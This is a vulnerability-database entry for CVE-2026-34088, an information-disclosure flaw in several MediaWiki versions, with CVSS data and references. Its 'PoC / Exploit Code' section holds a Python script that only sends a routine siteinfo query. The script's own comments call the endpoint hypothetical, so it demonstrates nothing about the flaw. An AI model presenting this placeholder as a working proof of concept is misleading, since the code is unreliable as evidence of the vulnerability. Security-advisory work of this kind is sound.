CVE-2026-34088

Description

Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki. This issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:* - VULNERABLE

MediaWiki < 1.43.7

MediaWiki < 1.44.4

MediaWiki < 1.45.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-34088: Information Disclosure
# Target: Vulnerable MediaWiki Instance

def check_exploit(target):
    # Hypothetical vulnerable endpoint
    url = f"{target}/api.php"
    params = {
        "action": "query",
        "meta": "siteinfo", # Example parameter
        "format": "json"
    }
    
    try:
        response = requests.get(url, params=params, timeout=5)
        if response.status_code == 200:
            print("[+] Request sent successfully. Check response content for sensitive data.")
            print(response.text[:200]) # Print partial response
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    target = "http://127.0.0.1/mediawiki"
    check_exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34088
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34088
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34088/
[4] VulDB https://vuldb.com/cve/CVE-2026-34088
[5] https://phabricator.wikimedia.org/T410429

Raw JSON Data

JSON

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